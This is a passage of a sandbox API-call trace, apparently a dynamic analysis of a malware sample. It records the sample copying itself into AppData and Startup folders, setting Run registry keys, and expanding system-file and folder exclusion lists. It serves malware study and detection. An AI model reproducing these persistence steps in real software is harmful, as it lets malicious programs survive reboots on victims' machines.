Flags=0x0, Size=0x20a) returned 0x6da8a0 [0046.111] GetProcessHeap () returned 0x6c0000 [0046.111] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20a) returned 0x6daab8 [0046.111] GetProcessHeap () returned 0x6c0000 [0046.111] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20a) returned 0x6dacd0 [0046.111] GetProcessHeap () returned 0x6c0000 [0046.111] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20a) returned 0x6daee8 [0046.111] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6da688, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0x72 [0046.111] GetProcessHeap () returned 0x6c0000 [0046.111] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20a) returned 0x6db100 [0046.111] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6db100, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0x72 [0046.111] GetProcessHeap () returned 0x6c0000 [0046.111] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6db100 | out: hHeap=0x6c0000) returned 1 [0046.111] GetProcessHeap () returned 0x6c0000 [0046.111] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20a) returned 0x6db100 [0046.111] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6db100, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0x72 [0046.111] GetProcessHeap () returned 0x6c0000 [0046.111] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6db100 | out: hHeap=0x6c0000) returned 1 [0046.111] GetProcessHeap () returned 0x6c0000 [0046.111] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20a) returned 0x6db100 [0046.111] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6db100, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0x72 [0046.112] GetProcessHeap () returned 0x6c0000 [0046.112] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6db100 | out: hHeap=0x6c0000) returned 1 [0046.112] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe"), bFailIfExists=0) returned 1 [0046.120] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x3bf6cc | out: phkResult=0x3bf6cc*=0xac) returned 0x0 [0046.120] RegSetValueExW (hKey=0xac, lpValueName="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus", Reserved=0x0, dwType=0x1, lpData=0x6daab8, cbData=0xf0) returned 0x5 [0046.120] RegCloseKey (hKey=0xac) returned 0x0 [0046.120] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x3bf6e0 | out: phkResult=0x3bf6e0*=0xac) returned 0x0 [0046.120] RegSetValueExW (in: hKey=0xac, lpValueName="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe", cbData=0xf0 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe") returned 0x0 [0046.120] RegCloseKey (hKey=0xac) returned 0x0 [0046.121] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\spfs.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\spfs.txt"), bFailIfExists=1) returned 0 [0046.122] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\spfs.txt")) returned 0xffffffff [0046.122] GetProcessHeap () returned 0x6c0000 [0046.122] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x134) returned 0x6db100 [0046.122] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe"), lpNewFileName="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe"), bFailIfExists=1) returned 1 [0046.127] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\spfs.txt"), lpNewFileName="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt"), bFailIfExists=1) returned 0 [0046.127] GetFileAttributesW (lpFileName="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt")) returned 0xffffffff [0046.127] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe"), bFailIfExists=1) returned 0 [0046.128] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\spfs.txt"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt"), bFailIfExists=1) returned 0 [0046.129] GetFileAttributesW (lpFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt")) returned 0xffffffff [0046.129] GetProcessHeap () returned 0x6c0000 [0046.129] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6db100 | out: hHeap=0x6c0000) returned 1 [0046.129] GetProcessHeap () returned 0x6c0000 [0046.129] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d18c0 | out: hHeap=0x6c0000) returned 1 [0046.129] GetProcessHeap () returned 0x6c0000 [0046.129] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da470 | out: hHeap=0x6c0000) returned 1 [0046.129] GetProcessHeap () returned 0x6c0000 [0046.129] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da688 | out: hHeap=0x6c0000) returned 1 [0046.129] GetProcessHeap () returned 0x6c0000 [0046.129] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da8a0 | out: hHeap=0x6c0000) returned 1 [0046.129] GetProcessHeap () returned 0x6c0000 [0046.129] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6daab8 | out: hHeap=0x6c0000) returned 1 [0046.129] GetProcessHeap () returned 0x6c0000 [0046.129] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6dacd0 | out: hHeap=0x6c0000) returned 1 [0046.129] GetProcessHeap () returned 0x6c0000 [0046.129] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6daee8 | out: hHeap=0x6c0000) returned 1 [0046.129] GetProcessHeap () returned 0x6c0000 [0046.129] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da218 | out: hHeap=0x6c0000) returned 1 [0046.129] GetProcessHeap () returned 0x6c0000 [0046.129] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6cf9a0 | out: hHeap=0x6c0000) returned 1 [0046.129] GetProcessHeap () returned 0x6c0000 [0046.129] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da280 | out: hHeap=0x6c0000) returned 1 [0046.129] GetProcessHeap () returned 0x6c0000 [0046.129] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6d9a30 [0046.129] GetProcessHeap () returned 0x6c0000 [0046.129] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6d9a58 [0046.129] GetProcessHeap () returned 0x6c0000 [0046.129] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e) returned 0x6d9a80 [0046.129] GetProcessHeap () returned 0x6c0000 [0046.129] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6da218 [0046.129] GetProcessHeap () returned 0x6c0000 [0046.129] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da218 | out: hHeap=0x6c0000) returned 1 [0046.129] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6d9a58, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0046.129] GetProcessHeap () returned 0x6c0000 [0046.129] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9a80 | out: hHeap=0x6c0000) returned 1 [0046.130] GetProcessHeap () returned 0x6c0000 [0046.130] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9a30 | out: hHeap=0x6c0000) returned 1 [0046.130] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x3bf6f4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x3bf6f4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.130] GetProcessHeap () returned 0x6c0000 [0046.130] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9a58 | out: hHeap=0x6c0000) returned 1 [0046.130] GetProcessHeap () returned 0x6c0000 [0046.130] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x28) returned 0x6da218 [0046.130] GetProcessHeap () returned 0x6c0000 [0046.130] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6d1710 [0046.130] GetProcessHeap () returned 0x6c0000 [0046.130] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x190) returned 0x6da248 [0046.130] GetProcessHeap () returned 0x6c0000 [0046.130] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x70) returned 0x6da3e0 [0046.130] GetProcessHeap () returned 0x6c0000 [0046.130] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x6a) returned 0x6da458 [0046.130] GetProcessHeap () returned 0x6c0000 [0046.130] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6da458, Size=0xd2) returned 0x6da458 [0046.130] GetProcessHeap () returned 0x6c0000 [0046.130] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x184) returned 0x6da538 [0046.130] GetProcessHeap () returned 0x6c0000 [0046.130] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6d1740 [0046.130] GetProcessHeap () returned 0x6c0000 [0046.130] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20a) returned 0x6da6c8 [0046.130] GetProcessHeap () returned 0x6c0000 [0046.130] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x250) returned 0x6da8e0 [0046.130] GetProcessHeap () returned 0x6c0000 [0046.130] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa0) returned 0x6dab38 [0046.130] GetProcessHeap () returned 0x6c0000 [0046.130] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x96) returned 0x6dabe0 [0046.130] GetProcessHeap () returned 0x6c0000 [0046.130] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x96) returned 0x6dac80 [0046.130] GetProcessHeap () returned 0x6c0000 [0046.130] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6dad20 [0046.130] GetProcessHeap () returned 0x6c0000 [0046.130] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6dad20 | out: hHeap=0x6c0000) returned 1 [0046.131] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;spfs.txt", lpDst=0x6dabe0, nSize=0x4b | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;spfs.txt") returned 0x4b [0046.131] GetProcessHeap () returned 0x6c0000 [0046.131] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6dac80 | out: hHeap=0x6c0000) returned 1 [0046.131] GetProcessHeap () returned 0x6c0000 [0046.131] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6dab38 | out: hHeap=0x6c0000) returned 1 [0046.131] GetProcessHeap () returned 0x6c0000 [0046.131] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x70) returned 0x6dab38 [0046.131] GetProcessHeap () returned 0x6c0000 [0046.131] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x62) returned 0x6dac80 [0046.131] GetProcessHeap () returned 0x6c0000 [0046.131] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x62) returned 0x6dacf0 [0046.131] GetProcessHeap () returned 0x6c0000 [0046.131] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6dad60 [0046.131] GetProcessHeap () returned 0x6c0000 [0046.131] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6dad60 | out: hHeap=0x6c0000) returned 1 [0046.131] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x6dac80, nSize=0x31 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0046.131] GetProcessHeap () returned 0x6c0000 [0046.131] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6dacf0 | out: hHeap=0x6c0000) returned 1 [0046.131] GetProcessHeap () returned 0x6c0000 [0046.131] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6dac80, Size=0xc2) returned 0x6dac80 [0046.131] GetProcessHeap () returned 0x6c0000 [0046.131] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc2) returned 0x6dad50 [0046.131] GetProcessHeap () returned 0x6c0000 [0046.131] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6dae20 [0046.131] GetProcessHeap () returned 0x6c0000 [0046.131] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6dae20 | out: hHeap=0x6c0000) returned 1 [0046.131] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x6dac80, nSize=0x61 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0046.131] GetProcessHeap () returned 0x6c0000 [0046.131] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6dad50 | out: hHeap=0x6c0000) returned 1 [0046.131] GetProcessHeap () returned 0x6c0000 [0046.131] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6dab38 | out: hHeap=0x6c0000) returned 1 [0046.131] GetProcessHeap () returned 0x6c0000 [0046.131] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20a) returned 0x6dad50 [0046.131] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6dad50, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0x72 [0046.131] GetProcessHeap () returned 0x6c0000 [0046.131] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6dad50 | out: hHeap=0x6c0000) returned 1 [0046.131] GetProcessHeap () returned 0x6c0000 [0046.131] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x24e) returned 0x6dad50 [0046.132] GetProcessHeap () returned 0x6c0000 [0046.132] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6dad50, Size=0x3cc) returned 0x6dad50 [0046.132] GetProcessHeap () returned 0x6c0000 [0046.132] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x98) returned 0x6dab38 [0046.132] GetProcessHeap () returned 0x6c0000 [0046.132] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6dab38, Size=0x132) returned 0x6db128 [0046.132] GetProcessHeap () returned 0x6c0000 [0046.132] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x6a) returned 0x6dab38 [0046.132] GetProcessHeap () returned 0x6c0000 [0046.132] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da6c8 | out: hHeap=0x6c0000) returned 1 [0046.132] GetProcessHeap () returned 0x6c0000 [0046.132] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da8e0 | out: hHeap=0x6c0000) returned 1 [0046.132] GetProcessHeap () returned 0x6c0000 [0046.132] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6dabe0 | out: hHeap=0x6c0000) returned 1 [0046.132] GetProcessHeap () returned 0x6c0000 [0046.132] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6dac80 | out: hHeap=0x6c0000) returned 1 [0046.132] GetProcessHeap () returned 0x6c0000 [0046.132] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d1710 | out: hHeap=0x6c0000) returned 1 [0046.132] GetProcessHeap () returned 0x6c0000 [0046.132] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da248 | out: hHeap=0x6c0000) returned 1 [0046.132] GetProcessHeap () returned 0x6c0000 [0046.132] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da3e0 | out: hHeap=0x6c0000) returned 1 [0046.132] GetProcessHeap () returned 0x6c0000 [0046.132] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da538 | out: hHeap=0x6c0000) returned 1 [0046.132] GetProcessHeap () returned 0x6c0000 [0046.132] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6d9a30 [0046.132] GetProcessHeap () returned 0x6c0000 [0046.132] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6d9a58 [0046.132] GetProcessHeap () returned 0x6c0000 [0046.132] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e) returned 0x6d9a80 [0046.132] GetProcessHeap () returned 0x6c0000 [0046.132] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6dabb0 [0046.132] GetProcessHeap () returned 0x6c0000 [0046.132] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6dabb0 | out: hHeap=0x6c0000) returned 1 [0046.132] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6d9a58, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0046.132] GetProcessHeap () returned 0x6c0000 [0046.132] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9a80 | out: hHeap=0x6c0000) returned 1 [0046.132] GetProcessHeap () returned 0x6c0000 [0046.132] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9a30 | out: hHeap=0x6c0000) returned 1 [0046.132] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x3bf6f4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x3bf6f4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.133] GetProcessHeap () returned 0x6c0000 [0046.133] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9a58 | out: hHeap=0x6c0000) returned 1 [0046.133] GetProcessHeap () returned 0x6c0000 [0046.133] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x28) returned 0x6dabb0 [0046.133] GetProcessHeap () returned 0x6c0000 [0046.133] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6d1710 [0046.133] GetProcessHeap () returned 0x6c0000 [0046.133] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x190) returned 0x6da248 [0046.133] GetProcessHeap () returned 0x6c0000 [0046.133] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x70) returned 0x6da3e0 [0046.133] GetProcessHeap () returned 0x6c0000 [0046.133] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x6a) returned 0x6dabe0 [0046.133] GetProcessHeap () returned 0x6c0000 [0046.133] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6dabe0, Size=0xd2) returned 0x6dabe0 [0046.133] GetProcessHeap () returned 0x6c0000 [0046.133] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x184) returned 0x6da538 [0046.133] GetProcessHeap () returned 0x6c0000 [0046.133] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6d1758 [0046.133] GetProcessHeap () returned 0x6c0000 [0046.133] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20a) returned 0x6da6c8 [0046.133] GetProcessHeap () returned 0x6c0000 [0046.133] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x250) returned 0x6da8e0 [0046.133] GetProcessHeap () returned 0x6c0000 [0046.133] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa0) returned 0x6db268 [0046.133] GetProcessHeap () returned 0x6c0000 [0046.133] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x96) returned 0x6db310 [0046.133] GetProcessHeap () returned 0x6c0000 [0046.133] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x96) returned 0x6db3b0 [0046.133] GetProcessHeap () returned 0x6c0000 [0046.133] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6db450 [0046.133] GetProcessHeap () returned 0x6c0000 [0046.133] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6db450 | out: hHeap=0x6c0000) returned 1 [0046.133] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;spfs.txt", lpDst=0x6db310, nSize=0x4b | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;spfs.txt") returned 0x4b [0046.133] GetProcessHeap () returned 0x6c0000 [0046.133] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6db3b0 | out: hHeap=0x6c0000) returned 1 [0046.133] GetProcessHeap () returned 0x6c0000 [0046.134] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6db268 | out: hHeap=0x6c0000) returned 1 [0046.134] GetProcessHeap () returned 0x6c0000 [0046.134] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x70) returned 0x6dacc0 [0046.134] GetProcessHeap () returned 0x6c0000 [0046.134] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x62) returned 0x6db268 [0046.134] GetProcessHeap () returned 0x6c0000 [0046.134] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x62) returned 0x6db3b0 [0046.134] GetProcessHeap () returned 0x6c0000 [0046.134] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6db420 [0046.134] GetProcessHeap () returned 0x6c0000 [0046.134] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6db420 | out: hHeap=0x6c0000) returned 1 [0046.134] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x6db268, nSize=0x31 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0046.134] GetProcessHeap () returned 0x6c0000 [0046.134] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6db3b0 | out: hHeap=0x6c0000) returned 1 [0046.134] GetProcessHeap () returned 0x6c0000 [0046.134] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6db268, Size=0xc2) returned 0x6db3b0 [0046.134] GetProcessHeap () returned 0x6c0000 [0046.134] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc2) returned 0x6db480 [0046.134] GetProcessHeap () returned 0x6c0000 [0046.134] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6db268 [0046.134] GetProcessHeap () returned 0x6c0000 [0046.134] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6db268 | out: hHeap=0x6c0000) returned 1 [0046.134] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x6db3b0, nSize=0x61 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\caches;") returned 